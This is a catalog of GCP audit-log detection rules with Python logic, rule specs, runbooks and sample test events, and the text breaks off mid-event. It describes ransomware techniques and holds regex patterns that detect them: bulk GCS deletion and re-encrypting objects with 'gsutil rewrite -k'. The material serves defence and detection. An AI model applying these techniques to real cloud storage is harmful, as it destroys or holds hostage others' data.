RuleID: "GCP.DNS.Zone.Modified.or.Deleted"
Threshold: 1
Stages and Predicates
Fires on GCP.AuditLog events when the condition below holds.
Condition
protoPayload.methodNameis one ofdns.changes.create,dns.managedZones.delete,dns.managedZones.patch,dns.managedZones.update
Indicators
These rows show field, operator, and value matches.
| Field | Kind | Values | Search |
|---|---|---|---|
protoPayload.methodName | in |
| field:"protoPayload.methodName" kind:in |
Output fields
Fields the rule emits when it matches, drawn from the rule's alert_context.
| Field | Source |
|---|---|
project | resource.labels.project_id |
principal | protoPayload.authenticationInfo.principalEmail |
caller_ip | protoPayload.requestMetadata.callerIP |
methodName | protoPayload.methodName |
resourceName | protoPayload.resourceName |
serviceName | protoPayload.serviceName |
Response runbook
Verify that this modification or deletion was expected. These operations are high-impact events and can result in downtimes or total outages.
Worked example
A sample event from the rule's unit tests that triggers a match.Sample Test Event
{
"insertid": "-xxxxxxxxxxxx",
"logName": "projects/test-project-123456/logs/cloudaudit.googleapis.com%2Factivity",
"protoPayload": {
"at_sign_type": "type.googleapis.com/google.cloud.audit.AuditLog",
"authenticationInfo": {
"principalEmail": "user@domain.com"
},
"authorizationInfo": [
{
"granted": true,
"permission": "dns.managedZones.delete",
"resourceAttributes": {}
}
],
"methodName": "dns.managedZones.delete",
"request": {
"@type": "type.googleapis.com/cloud.dns.api.ManagedZonesDeleteRequest",
"managedZone": "test-zone",
"project": "test-project-123456"
},
"requestMetadata": {
"callerIP": "12.12.12.12",
"destinationAttributes": {},
"requestAttributes": {
"auth": {},
"time": "2023-05-23T19:08:13.820007Z"
}
},
"resourceName": "managedZones/test-zone",
"response": {
"@type": "type.googleapis.com/cloud.dns.api.ManagedZonesDeleteResponse"
},
"serviceName": "dns.googleapis.com",
"status": {}
},
"receivetimestamp": "2023-05-23 19:08:14.305",
"resource": {
"labels": {
"location": "global",
"project_id": "test-project-123456",
"zone_name": "test-zone"
},
"type": "dns_managed_zone"
},
"severity": "NOTICE",
"timestamp": "2023-05-23 19:08:11.697"
}
GCP External User Ownership Invite
#This rule detects when an external user is invited as an owner of a GCP project using the InsertProjectOwnershipInvite event.
Telemetry coverage
| Platform | Record / event type |
|---|---|
| GCP | InsertProjectOwnershipInvite |
Detection logic
from panther_gcp_helpers import gcp_alert_context
def rule(event):
if event.deep_get("protoPayload", "response", "error"):
return False
method = event.deep_get("protoPayload", "methodName", default="METHOD_NOT_FOUND")
if method != "InsertProjectOwnershipInvite":
return False
authenticated = event.deep_get(
"protoPayload", "authenticationInfo", "principalEmail", default=""
)
expected_domain = authenticated.split("@")[-1]
if event.deep_get("protoPayload", "request", "member", default="MEMBER_NOT_FOUND").endswith(
f"@{expected_domain}"
):
return False
return True
def title(event):
member = event.deep_get("protoPayload", "request", "member", default="<MEMBER_NOT_FOUND>")
project = event.deep_get("protoPayload", "resourceName", default="<PROJECT_NOT_FOUND>")
return f"[GCP]: External user [{member}] was invited as owner to project [{project}]"
def alert_context(event):
return gcp_alert_context(event)
Rule specification
AnalysisType: rule
DedupPeriodMinutes: 60
DisplayName: GCP External User Ownership Invite
Enabled: true
Filename: gcp_invite_external_user_as_owner.py
RuleID: "GCP.Project.ExternalUserOwnershipInvite"
Severity: High
LogTypes:
- GCP.AuditLog
Description: >
This rule detects when an external user is invited as an owner of a GCP project using the InsertProjectOwnershipInvite event.
Runbook: >
Investigate the invitation to ensure it was authorized. Unauthorized invitations can lead to security risks. If the invitation was unauthorized, revoke the user's access to the project.
Reference: https://cloud.google.com/resource-manager/docs/project-ownership
Stages and Predicates
Fires on GCP.AuditLog events when all of the conditions below hold.
Condition
protoPayload.response.erroris emptyprotoPayload.methodNameisInsertProjectOwnershipInvite
This rule also runs imperative logic the parser cannot express as a filter. The conditions above are the structured part it could extract.
Indicators
These rows show field, operator, and value matches.
| Field | Kind | Values | Search |
|---|---|---|---|
protoPayload.methodName | eq |
| field:"protoPayload.methodName" kind:eq value:"InsertProjectOwnershipInvite" |
protoPayload.response.error | is_null | field:"protoPayload.response.error" kind:is_null |
Output fields
Fields the rule emits when it matches, drawn from the rule's alert_context.
| Field | Source |
|---|---|
project | resource.labels.project_id |
principal | protoPayload.authenticationInfo.principalEmail |
caller_ip | protoPayload.requestMetadata.callerIP |
methodName | protoPayload.methodName |
resourceName | protoPayload.resourceName |
serviceName | protoPayload.serviceName |
member | protoPayload.request.member |
Response runbook
Investigate the invitation to ensure it was authorized. Unauthorized invitations can lead to security risks. If the invitation was unauthorized, revoke the user's access to the project.
Worked example
A sample event from the rule's unit tests that triggers a match.Sample Test Event
{
"insertId": "1abcd23efg456",
"logName": "projects/test-project/logs/cloudaudit.googleapis.com%2Factivity",
"protoPayload": {
"@type": "type.googleapis.com/google.cloud.audit.AuditLog",
"authenticationInfo": {
"principalEmail": "user@runpanther.com"
},
"methodName": "InsertProjectOwnershipInvite",
"request": {
"@type": "type.googleapis.com/google.internal.cloud.resourcemanager.InsertProjectOwnershipInviteRequest",
"member": "user:attacker@gmail.com",
"projectId": "target-project"
},
"resourceName": "projects/target-project",
"response": {
"@type": "type.googleapis.com/google.internal.cloud.resourcemanager.InsertProjectOwnershipInviteResponse"
},
"serviceName": "cloudresourcemanager.googleapis.com"
},
"resource": {
"labels": {
"project_id": "target-project"
},
"type": "gce_project"
},
"severity": "NOTICE",
"timestamp": "2023-10-01T12:34:56.789Z"
}
GCP Firewall Rule Created
#This rule detects creations of GCP firewall rules.
Telemetry coverage
Detection logic
from panther_gcp_helpers import gcp_alert_context
RULE_CREATED_PARTS = [
".Firewall.Create",
".compute.firewalls.insert",
]
def rule(event):
method = event.deep_get("protoPayload", "methodName", default="")
return any(part in method for part in RULE_CREATED_PARTS)
def title(event):
actor = event.deep_get(
"protoPayload", "authenticationInfo", "principalEmail", default="<ACTOR_NOT_FOUND>"
)
resource = event.deep_get(
"protoPayload",
"resourceName",
default="<RESOURCE_NOT_FOUND>",
)
resource_id = event.deep_get(
"resource",
"labels",
"firewall_rule_id",
default="<RESOURCE_ID_NOT_FOUND>",
)
if resource_id != "<RESOURCE_ID_NOT_FOUND>":
return f"[GCP]: [{actor}] created firewall rule with resource ID [{resource_id}]"
return f"[GCP]: [{actor}] created firewall rule for resource [{resource}]"
def dedup(event):
actor = event.deep_get(
"protoPayload", "authenticationInfo", "principalEmail", default="<ACTOR_NOT_FOUND>"
)
return actor
def alert_context(event):
return gcp_alert_context(event)
Rule specification
AnalysisType: rule
DedupPeriodMinutes: 90
DisplayName: GCP Firewall Rule Created
Enabled: true
Filename: gcp_firewall_rule_created.py
RuleID: "GCP.Firewall.Rule.Created"
Severity: Low
LogTypes:
- GCP.AuditLog
Tags:
- GCP
- Firewall
- Networking
- Infrastructure
Description: >
This rule detects creations of GCP firewall rules.
Runbook: >
Ensure that the rule creation was expected. Firewall rule creations can expose [vulnerable] resoures to the internet.
Reference: https://cloud.google.com/firewall/docs/about-firewalls
Stages and Predicates
Fires on GCP.AuditLog events when any of the conditions below holds.
Condition
any of:
protoPayload.methodNamecontains.Firewall.CreateprotoPayload.methodNamecontains.compute.firewalls.insert
Indicators
These rows show field, operator, and value matches.
| Field | Kind | Values | Search |
|---|---|---|---|
protoPayload.methodName | contains |
| field:"protoPayload.methodName" kind:contains |
Output fields
Fields the rule emits when it matches, drawn from the rule's alert_context.
| Field | Source |
|---|---|
project | resource.labels.project_id |
principal | protoPayload.authenticationInfo.principalEmail |
caller_ip | protoPayload.requestMetadata.callerIP |
methodName | protoPayload.methodName |
resourceName | protoPayload.resourceName |
serviceName | protoPayload.serviceName |
firewall_rule_id | resource.labels.firewall_rule_id |
Response runbook
Ensure that the rule creation was expected. Firewall rule creations can expose [vulnerable] resoures to the internet.
Worked example
A sample event from the rule's unit tests that triggers a match.Sample Test Event
{
"insertid": "-xxxxxxxxxxxx",
"logname": "projects/test-project-123456/logs/cloudaudit.googleapis.com%2Factivity",
"operation": {
"first": true,
"id": "operation-1684869580331-5fc6144d418a9-e1332ca3-59c615ac",
"producer": "compute.googleapis.com"
},
"protoPayload": {
"at_sign_type": "type.googleapis.com/google.cloud.audit.AuditLog",
"authenticationInfo": {
"principalEmail": "user@domain.com"
},
"authorizationInfo": [
{
"granted": true,
"permission": "compute.firewalls.update",
"resourceAttributes": {
"name": "projects/test-project-123456/global/firewalls/firewall-create",
"service": "compute",
"type": "compute.firewalls"
}
},
{
"granted": true,
"permission": "compute.networks.updatePolicy",
"resourceAttributes": {
"name": "projects/test-project-123456/global/networks/default",
"service": "compute",
"type": "compute.networks"
}
}
],
"methodName": "v1.compute.firewalls.insert",
"request": {
"@type": "type.googleapis.com/compute.firewalls.insert",
"denieds": [
{
"IPProtocol": "all"
}
]
},
"requestMetadata": {
"callerIP": "12.12.12.12",
"callerSuppliedUserAgent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.0.0 Safari/537.36,gzip(gfe),gzip(gfe)",
"destinationAttributes": {},
"requestAttributes": {
"auth": {},
"reason": "8uSywAYQGg5Db2xpc2V1bSBGbG93cw",
"time": "2023-05-23T19:19:41.154751Z"
}
},
"resourceName": "projects/test-project-123456/global/firewalls/firewall-create",
"response": {
"@type": "type.googleapis.com/operation",
"id": "896785227463044899",
"insertTime": "2023-05-23T12:19:40.876-07:00",
"name": "operation-1684869580331-5fc6144d418a9-e1332ca3-59c615ac",
"operationType": "patch",
"progress": "0",
"selfLink": "https://www.googleapis.com/compute/v1/projects/test-project-123456/global/operations/operation-1684869580331-5fc6144d418a9-e1332ca3-59c615ac",
"selfLinkWithId": "https://www.googleapis.com/compute/v1/projects/test-project-123456/global/operations/896785227463044899",
"startTime": "2023-05-23T12:19:40.888-07:00",
"status": "RUNNING",
"targetId": "6563507997690081088",
"targetLink": "https://www.googleapis.com/compute/v1/projects/test-project-123456/global/firewalls/firewall-create",
"user": "user@domain.com"
},
"serviceName": "compute.googleapis.com"
},
"receivetimestamp": "2023-05-23 19:19:41.238",
"resource": {
"labels": {
"firewall_rule_id": "6563507997690081088",
"project_id": "test-project-123456"
},
"type": "gce_firewall_rule"
},
"severity": "NOTICE",
"timestamp": "2023-05-23 19:19:40.353"
}
GCP Firewall Rule Deleted
#This rule detects deletions of GCP firewall rules.
Telemetry coverage
Detection logic
from panther_gcp_helpers import gcp_alert_context
RULE_DELETED_PARTS = [
".Firewall.Delete",
".compute.firewalls.delete",
]
def rule(event):
method = event.deep_get("protoPayload", "methodName", default="")
return any(part in method for part in RULE_DELETED_PARTS)
def title(event):
actor = event.deep_get(
"protoPayload", "authenticationInfo", "principalEmail", default="<ACTOR_NOT_FOUND>"
)
resource = event.deep_get(
"protoPayload",
"resourceName",
default="<RESOURCE_NOT_FOUND>",
)
resource_id = event.deep_get(
"resource",
"labels",
"firewall_rule_id",
default="<RESOURCE_ID_NOT_FOUND>",
)
if resource_id != "<RESOURCE_ID_NOT_FOUND>":
return f"[GCP]: [{actor}] deleted firewall rule with resource ID [{resource_id}]"
return f"[GCP]: [{actor}] deleted firewall rule for resource [{resource}]"
def dedup(event):
actor = event.deep_get(
"protoPayload", "authenticationInfo", "principalEmail", default="<ACTOR_NOT_FOUND>"
)
return actor
def alert_context(event):
return gcp_alert_context(event)
Rule specification
AnalysisType: rule
DedupPeriodMinutes: 90
DisplayName: GCP Firewall Rule Deleted
Enabled: true
Filename: gcp_firewall_rule_deleted.py
RuleID: "GCP.Firewall.Rule.Deleted"
Severity: Low
LogTypes:
- GCP.AuditLog
Tags:
- GCP
- Firewall
- Networking
- Infrastructure
Description: >
This rule detects deletions of GCP firewall rules.
Runbook: >
Ensure that the rule deletion was expected. Firewall rule deletions can cause service interruptions or outages.
Reference: https://cloud.google.com/firewall/docs/about-firewalls
Stages and Predicates
Fires on GCP.AuditLog events when any of the conditions below holds.
Condition
any of:
protoPayload.methodNamecontains.Firewall.DeleteprotoPayload.methodNamecontains.compute.firewalls.delete
Indicators
These rows show field, operator, and value matches.
| Field | Kind | Values | Search |
|---|---|---|---|
protoPayload.methodName | contains |
| field:"protoPayload.methodName" kind:contains |
Output fields
Fields the rule emits when it matches, drawn from the rule's alert_context.
| Field | Source |
|---|---|
project | resource.labels.project_id |
principal | protoPayload.authenticationInfo.principalEmail |
caller_ip | protoPayload.requestMetadata.callerIP |
methodName | protoPayload.methodName |
resourceName | protoPayload.resourceName |
serviceName | protoPayload.serviceName |
firewall_rule_id | resource.labels.firewall_rule_id |
Response runbook
Ensure that the rule deletion was expected. Firewall rule deletions can cause service interruptions or outages.
Worked example
A sample event from the rule's unit tests that triggers a match.Sample Test Event
{
"insertid": "-xxxxxxxx",
"logname": "projects/test-project-123456/logs/cloudaudit.googleapis.com%2Factivity",
"operation": {
"id": "operation-1684869594486-5fc6145ac17b3-6f92b265-43256266",
"last": true,
"producer": "compute.googleapis.com"
},
"protoPayload": {
"at_sign_type": "type.googleapis.com/google.cloud.audit.AuditLog",
"authenticationInfo": {
"principalEmail": "user@domain.com"
},
"methodName": "v1.compute.firewalls.delete",
"request": {
"@type": "type.googleapis.com/compute.firewalls.delete"
},
"requestMetadata": {
"callerIP": "12.12.12.12",
"callerSuppliedUserAgent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.0.0 Safari/537.36,gzip(gfe),gzip(gfe)"
},
"resourceName": "projects/test-project-123456/global/firewalls/firewall-create",
"serviceName": "compute.googleapis.com"
},
"receivetimestamp": "2023-05-23 19:20:00.728",
"resource": {
"labels": {
"firewall_rule_id": "6563507997690081088",
"project_id": "test-project-123456"
},
"type": "gce_firewall_rule"
},
"severity": "NOTICE",
"timestamp": "2023-05-23 19:20:00.396"
}
GCP Firewall Rule Modified
#This rule detects modifications to GCP firewall rules.
Telemetry coverage
Detection logic
from panther_gcp_helpers import gcp_alert_context
RULE_MODIFIED_PARTS = [
".Firewall.Update",
".compute.firewalls.patch",
".compute.firewalls.update",
]
def rule(event):
method = event.deep_get("protoPayload", "methodName", default="")
return any(part in method for part in RULE_MODIFIED_PARTS)
def title(event):
actor = event.deep_get(
"protoPayload", "authenticationInfo", "principalEmail", default="<ACTOR_NOT_FOUND>"
)
resource = event.deep_get("protoPayload", "resourceName", default="<RESOURCE_NOT_FOUND>")
return f"[GCP]: [{actor}] modified firewall rule on [{resource}]"
def dedup(event):
actor = event.deep_get(
"protoPayload", "authenticationInfo", "principalEmail", default="<ACTOR_NOT_FOUND>"
)
return actor
def alert_context(event):
return gcp_alert_context(event)
Rule specification
AnalysisType: rule
DedupPeriodMinutes: 90
DisplayName: GCP Firewall Rule Modified
Enabled: true
Filename: gcp_firewall_rule_modified.py
RuleID: "GCP.Firewall.Rule.Modified"
Severity: Low
LogTypes:
- GCP.AuditLog
Tags:
- GCP
- Firewall
- Networking
- Infrastructure
Description: >
This rule detects modifications to GCP firewall rules.
Runbook: >
Ensure that the rule modification was expected. Firewall rule changes can cause service interruptions or outages.
Reference: https://cloud.google.com/firewall/docs/about-firewalls
Stages and Predicates
Fires on GCP.AuditLog events when any of the conditions below holds.
Condition
any of:
protoPayload.methodNamecontains.Firewall.UpdateprotoPayload.methodNamecontains.compute.firewalls.patchprotoPayload.methodNamecontains.compute.firewalls.update
Indicators
These rows show field, operator, and value matches.
| Field | Kind | Values | Search |
|---|---|---|---|
protoPayload.methodName | contains |
| field:"protoPayload.methodName" kind:contains |
Output fields
Fields the rule emits when it matches, drawn from the rule's alert_context.
| Field | Source |
|---|---|
project | resource.labels.project_id |
principal | protoPayload.authenticationInfo.principalEmail |
caller_ip | protoPayload.requestMetadata.callerIP |
methodName | protoPayload.methodName |
resourceName | protoPayload.resourceName |
serviceName | protoPayload.serviceName |
Response runbook
Ensure that the rule modification was expected. Firewall rule changes can cause service interruptions or outages.
Worked example
A sample event from the rule's unit tests that triggers a match.Sample Test Event
{
"insertid": "-xxxxxxxxxxxx",
"logname": "projects/test-project-123456/cloudaudit.googleapis.com%2Factivity",
"operation": {
"first": true,
"id": "operation-1684869580331-5fc6144d418a9-e1332ca3-59c615ac",
"producer": "compute.googleapis.com"
},
"protoPayload": {
"at_sign_type": "type.googleapis.com/google.cloud.audit.AuditLog",
"authenticationInfo": {
"principalEmail": "user@domain.com"
},
"authorizationInfo": [
{
"granted": true,
"permission": "compute.firewalls.update",
"resourceAttributes": {
"name": "projects/test-project-123456/global/firewalls/firewall-create",
"service": "compute",
"type": "compute.firewalls"
}
},
{
"granted": true,
"permission": "compute.networks.updatePolicy",
"resourceAttributes": {
"name": "projects/test-project-123456/global/networks/default",
"service": "compute",
"type": "compute.networks"
}
}
],
"methodName": "v1.compute.firewalls.patch",
"request": {
"@type": "type.googleapis.com/compute.firewalls.patch",
"denieds": [
{
"IPProtocol": "all"
}
]
},
"requestMetadata": {
"callerIP": "12.12.12.12",
"callerSuppliedUserAgent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.0.0 Safari/537.36,gzip(gfe),gzip(gfe)",
"destinationAttributes": {},
"requestAttributes": {
"auth": {},
"reason": "8uSywAYQGg5Db2xpc2V1bSBGbG93cw",
"time": "2023-05-23T19:19:41.154751Z"
}
},
"resourceName": "projects/test-project-123456/global/firewalls/firewall-create",
"response": {
"@type": "type.googleapis.com/operation",
"id": "896785227463044899",
"insertTime": "2023-05-23T12:19:40.876-07:00",
"name": "operation-1684869580331-5fc6144d418a9-e1332ca3-59c615ac",
"operationType": "patch",
"progress": "0",
"selfLink": "https://www.googleapis.com/compute/v1/projects/test-project-123456/global/operations/operation-1684869580331-5fc6144d418a9-e1332ca3-59c615ac",
"selfLinkWithId": "https://www.googleapis.com/compute/v1/projects/test-project-123456/global/operations/896785227463044899",
"startTime": "2023-05-23T12:19:40.888-07:00",
"status": "RUNNING",
"targetId": "6563507997690081088",
"targetLink": "https://www.googleapis.com/compute/v1/projects/test-project-123456/global/firewalls/firewall-create",
"user": "user@domain.com"
},
"serviceName": "compute.googleapis.com"
},
"receivetimestamp": "2023-05-23 19:19:41.238",
"resource": {
"labels": {
"firewall_rule_id": "6563507997690081088",
"project_id": "test-project-123456"
},
"type": "gce_firewall_rule"
},
"severity": "NOTICE",
"timestamp": "2023-05-23 19:19:40.353"
}
GCP GCS Bulk Object Deletion
#Detects bulk deletion of GCS objects. This pattern is indicative of a ransomware attack or data destruction where an adversary deletes storage objects at scale. The threshold of 10+ deletion operations suggests automated bulk deletion rather than normal application behavior. This can be part of a double extortion ransomware attack where data is both encrypted and deleted to increase pressure on victims.
MITRE ATT&CK coverage
| Tactic | Techniques |
|---|---|
| Impact |
Telemetry coverage
| Platform | Record / event type |
|---|---|
| GCP | storage.objects.delete: delete |
Detection logic
def rule(event):
method_name = event.deep_get("protoPayload", "methodName", default="UNKNOWN_METHOD_NAME")
service_name = event.deep_get("protoPayload", "serviceName")
severity = event.get("severity")
return all(
[
method_name == "storage.objects.delete",
service_name == "storage.googleapis.com",
severity != "ERROR", # Operation succeeded
]
)
def title(event):
principal = event.deep_get("protoPayload", "authenticationInfo", "principalEmail")
resource = event.deep_get("protoPayload", "resourceName")
return f"GCP: Bulk object deletion in resource [{resource}] by principal [{principal}]"
def alert_context(event):
return {
"principal": event.deep_get("protoPayload", "authenticationInfo", "principalEmail"),
"project": event.deep_get("resource", "labels", "project_id"),
"status": event.deep_get("protoPayload", "status"),
"location": event.deep_get("resource", "labels", "location"),
"resource": event.deep_get("protoPayload", "resourceName"),
}
Rule specification
AnalysisType: rule
Filename: gcp_gcs_bulk_deletion.py
RuleID: "GCP.GCS.BulkDeletion"
DisplayName: "GCP GCS Bulk Object Deletion"
Enabled: true
Status: Experimental
Threshold: 10
LogTypes:
- GCP.AuditLog
Tags:
- GCP
- Google Cloud Storage
- Impact:Data Destruction
- Ransomware
Reports:
MITRE ATT&CK:
- TA0040:T1485
Severity: Medium
Description: >
Detects bulk deletion of GCS objects. This pattern is indicative of a ransomware attack
or data destruction where an adversary deletes storage objects at scale. The threshold
of 10+ deletion operations suggests automated bulk deletion rather than normal application
behavior. This can be part of a double extortion ransomware attack where data is both
encrypted and deleted to increase pressure on victims.
Runbook: |
1. Query GCP Audit logs for all storage.objects.delete operations by the principal email in the 1 hour window around this alert
2. Identify the total number of deletion operations, affected buckets, and the rate of deletions per minute
3. Check if the source IP matches the user's typical access patterns or is associated with known VPN/cloud providers
4. Determine if the deleted objects can be recovered from versioning, soft delete, or backups
5. Search for other ransomware indicators (KMS key changes, bucket configuration changes, bulk encryption) from this project in the past 24 hours
6. Review IAM policy changes for the principal to determine if permissions were recently escalated
Reference: https://cloud.google.com/storage/docs/json_api/v1/objects/delete
SummaryAttributes:
- severity
- p_any_ip_addresses
- p_any_emails
Stages and Predicates
Fires on GCP.AuditLog events when all of the conditions below hold.
Condition
protoPayload.methodNameisstorage.objects.deleteprotoPayload.serviceNameisstorage.googleapis.comseverityis notERROR
Indicators
These rows show field, operator, and value matches.
| Field | Kind | Values | Search |
|---|---|---|---|
protoPayload.methodName | eq |
| field:"protoPayload.methodName" kind:eq value:"storage.objects.delete" |
protoPayload.serviceName | eq |
| field:"gcp::service_name" kind:eq value:"storage.googleapis.com" |
severity | ne |
| field:"severity" kind:ne value:"ERROR" |
Output fields
Fields the rule emits when it matches, drawn from the rule's alert_context.
| Field | Source |
|---|---|
principal | protoPayload.authenticationInfo.principalEmail |
project | resource.labels.project_id |
status | protoPayload.status |
location | resource.labels.location |
resource | protoPayload.resourceName |
Response runbook
1. Query GCP Audit logs for all storage.objects.delete operations by the principal email in the 1 hour window around this alert
2. Identify the total number of deletion operations, affected buckets, and the rate of deletions per minute
3. Check if the source IP matches the user's typical access patterns or is associated with known VPN/cloud providers
4. Determine if the deleted objects can be recovered from versioning, soft delete, or backups
5. Search for other ransomware indicators (KMS key changes, bucket configuration changes, bulk encryption) from this project in the past 24 hours
6. Review IAM policy changes for the principal to determine if permissions were recently escalated
Worked example
A sample event from the rule's unit tests that triggers a match.Sample Test Event
{
"protoPayload": {
"at_sign_type": "type.googleapis.com/google.cloud.audit.AuditLog",
"authenticationInfo": {
"principalEmail": "denethor@lotr.com"
},
"methodName": "storage.objects.delete",
"resourceName": "projects/_/buckets/test-bucket/objects/test-file.txt",
"serviceName": "storage.googleapis.com",
"status": {}
},
"resource": {
"labels": {
"bucket_name": "test-bucket",
"location": "us",
"project_id": "test-project"
},
"type": "gcs_bucket"
},
"severity": "NOTICE",
"timestamp": "2025-12-15 15:40:29.533794920"
}
GCP GCS Bulk Object Rewrite Operation
#Detects GCS object rewrite operations which may indicate ransomware operations attempting to rewrite data in the same bucket with an attacker-controlled encryption key. Attackers with compromised credentials can use gsutil rewrite commands to replace existing encryption keys on cloud storage objects, effectively encrypting data for ransom. This detection focuses on identifying suspicious re-encryption activity through the 'gsutil rewrite -k' command patterns in user agent strings, with a threshold of 10 events.
MITRE ATT&CK coverage
| Tactic | Techniques |
|---|---|
| Collection | |
| Exfiltration | |
| Impact |
Telemetry coverage
| Platform | Record / event type |
|---|---|
| GCP | storage.objects.create: Create object |
Rules detecting the same action
These rules filter on the same operation.
- GCP GCS Ransom Note Upload (Panther)
Detection logic
import re
# User agent patterns indicating object rewrite
ENCRYPTION_REWRITE_PATTERNS = [
re.compile(r"command/rewrite-k", re.IGNORECASE), # gsutil rewrite -k
re.compile(r"command/rewrite-k-s", re.IGNORECASE), # gsutil rewrite -k -s
re.compile(r"gsutil.*rewrite", re.IGNORECASE), # gsutil rewrite variant
]
def rule(event):
if event.deep_get("protoPayload", "serviceName") != "storage.googleapis.com":
return False
# Focus on the create operation (the actual re-encryption)
method = event.deep_get("protoPayload", "methodName", default="")
if method not in ["storage.objects.create"]:
return False
# Get the resource from authorizationInfo for storage.objects.create permission
auth_info = event.deep_get("protoPayload", "authorizationInfo", default=[])
requested_file = next(
(
entry.get("resource")
for entry in auth_info
if entry.get("permission") == "storage.objects.create"
),
None,
)
resource_file = event.deep_get("protoPayload", "resourceName", default=None)
# Only alert on files that are being rewritten in the same bucket
# (where the authorized resource matches the actual resource being created)
if not requested_file or not resource_file or requested_file != resource_file:
return False
# This field contains commands executed on cli
user_agent = event.deep_get(
"protoPayload", "requestMetadata", "callerSuppliedUserAgent", default="<UNKNOWN_USER_AGENT>"
)
# Check for rewrite with encryption key change
for pattern in ENCRYPTION_REWRITE_PATTERNS:
if pattern.search(user_agent):
return True
return False
def title(event):
actor = event.deep_get(
"protoPayload", "authenticationInfo", "principalEmail", default="Unknown"
)
resource = event.deep_get("protoPayload", "resourceName", default="")
obj_name = resource.split("/objects/")[-1] if "/objects/" in resource else "Unknown"
bucket = event.deep_get("resource", "labels", "bucket_name", default="Unknown")
return f"GCS object [{obj_name}] rewritten in [{bucket}] by [{actor}]"
def dedup(event):
# Dedup by bucket and actor to group related rewrite operations
bucket = event.deep_get("resource", "labels", "bucket_name", default="unknown")
actor = event.deep_get(
"protoPayload", "authenticationInfo", "principalEmail", default="unknown"
)
return f"{bucket}-{actor}"
def alert_context(event):
resource = event.deep_get("protoPayload", "resourceName", default="")
return {
"actor": event.deep_get("protoPayload", "authenticationInfo", "principalEmail"),
"method": event.deep_get("protoPayload", "methodName"),
"bucket": event.deep_get("resource", "labels", "bucket_name"),
"object": resource.split("/objects/")[-1] if "/objects/" in resource else resource,
"user_agent": event.deep_get("protoPayload", "requestMetadata", "callerSuppliedUserAgent"),
"source_ip": event.deep_get("protoPayload", "requestMetadata", "callerIp"),
"project": event.deep_get("resource", "labels", "project_id"),
}
Rule specification
AnalysisType: rule
Filename: gcp_gcs_object_rewrite.py
RuleID: "GCP.GCS.BulkObjectRewrite"
DisplayName: "GCP GCS Bulk Object Rewrite Operation"
Enabled: true
Threshold: 10
LogTypes:
- GCP.AuditLog
Tags:
- GCP
- Google Cloud Storage
- Collection:Data From Cloud Storage Object
- Ransomware
Reports:
CIS:
- 2.10
MITRE ATT&CK:
- TA0040:T1486 # Impact: Data Encrypted for Impact
- TA0009:T1530 # Collection: Data from Cloud Storage Object
- TA0010:T1537 # Exfiltration: Transfer Data to Cloud Account
Severity: Medium
Description: >
Detects GCS object rewrite operations which may indicate ransomware operations attempting to rewrite data in the same bucket with an attacker-controlled encryption key.
Attackers with compromised credentials can use gsutil rewrite commands to replace existing encryption keys on cloud storage objects,
effectively encrypting data for ransom. This detection focuses on identifying suspicious re-encryption activity through the 'gsutil rewrite -k'
command patterns in user agent strings, with a threshold of 10 events.
Runbook: |
1. Query GCP Audit Logs for all storage.objects.create operations by the principalEmail in the 24 hours before and after the alert to determine the scope of rewrite operations
2. Check if the callerIP is associated with known cloud provider IP ranges, VPN endpoints, or matches the user's typical access locations from the past 90 days
3. Find other alerts or suspicious GCS activity from this principalEmail or bucket in the past 7 days to identify potential ransomware patterns
Reference: https://cloud.google.com/storage/docs/gsutil/commands/rewrite
SummaryAttributes:
- severity
- p_any_ip_addresses
- p_any_domain_names
Stages and Predicates
Fires on GCP.AuditLog events when all of the conditions below hold.
Condition
protoPayload.serviceNameisstorage.googleapis.comprotoPayload.methodNameis one ofstorage.objects.createprotoPayload.resourceNameis present
This rule also runs imperative logic the parser cannot express as a filter. The conditions above are the structured part it could extract.
Exclusions
The rule actively suppresses these predicates.
| Field | Kind | Excluded values | Search |
|---|---|---|---|
protoPayload.resourceName | is_null | excludes:protoPayload.resourceName |
Indicators
These rows show field, operator, and value matches.
| Field | Kind | Values | Search |
|---|---|---|---|
protoPayload.methodName | in |
| field:"protoPayload.methodName" kind:in value:"storage.objects.create" |
protoPayload.serviceName | eq |
| field:"gcp::service_name" kind:eq value:"storage.googleapis.com" |
Output fields
Fields the rule emits when it matches, drawn from the rule's alert_context.
| Field | Source |
|---|---|
actor | protoPayload.authenticationInfo.principalEmail |
method | protoPayload.methodName |
bucket | resource.labels.bucket_name |
user_agent | protoPayload.requestMetadata.callerSuppliedUserAgent |
source_ip | protoPayload.requestMetadata.callerIp |
project | resource.labels.project_id |
Response runbook
1. Query GCP Audit Logs for all storage.objects.create operations by the principalEmail in the 24 hours before and after the alert to determine the scope of rewrite operations
2. Check if the callerIP is associated with known cloud provider IP ranges, VPN endpoints, or matches the user's typical access locations from the past 90 days
3. Find other alerts or suspicious GCS activity from this principalEmail or bucket in the past 7 days to identify potential ransomware patterns
Worked example
A sample event from the rule's unit tests that triggers a match.Sample Test Event
{
"insertId": "kua6lje2lauj",
"logName": "projects/your-project/logs/cloudaudit.googleapis.com%2Fdata_access",
"p_any_emails": [
"frodo@lotr.com"
],
"p_any_ip_addresses": [
"1.2.3.4"
],
"p_any_usernames": [
"homer.simpson"
],
"p_event_time": "2025-12-15 15:35:44.471503481",
"p_log_type": "GCP.AuditLog",
"p_parse_time": "2025-12-15 15:37:21.119003440",
"p_row_id": "000000000088d76191e538b59ed49209",
"p_schema_version": 0,
"p_source_id": "bd7da315-647e-4eca-bcfe-083fab18f3f1",
"p_source_label": "your-project-pubsub",
"p_udm": {
"source": {
"address": "1.2.3.4",
"ip": "1.2.3.4"
},
"user": {
"email": "frodo@lotr.com"
}
},
"protoPayload": {
"at_sign_type": "type.googleapis.com/google.cloud.audit.AuditLog",
"authenticationInfo": {
"oauthInfo": {
"oauthClientId": "111111111111-example1a2b3c4d5e6f7g8h9i0j.apps.googleusercontent.com"
},
"principalEmail": "frodo@lotr.com"
},
"authorizationInfo": [
{
"granted": true,
"permission": "storage.objects.create",
"resource": "projects/_/buckets/victim-bucket/objects/victim-file.txt",
"resourceAttributes": {}
},
{
"granted": true,
"permission": "storage.objects.delete",
"resource": "projects/_/buckets/victim-bucket/objects/victim-file.txt",
"resourceAttributes": {}
}
],
"methodName": "storage.objects.create",
"requestMetadata": {
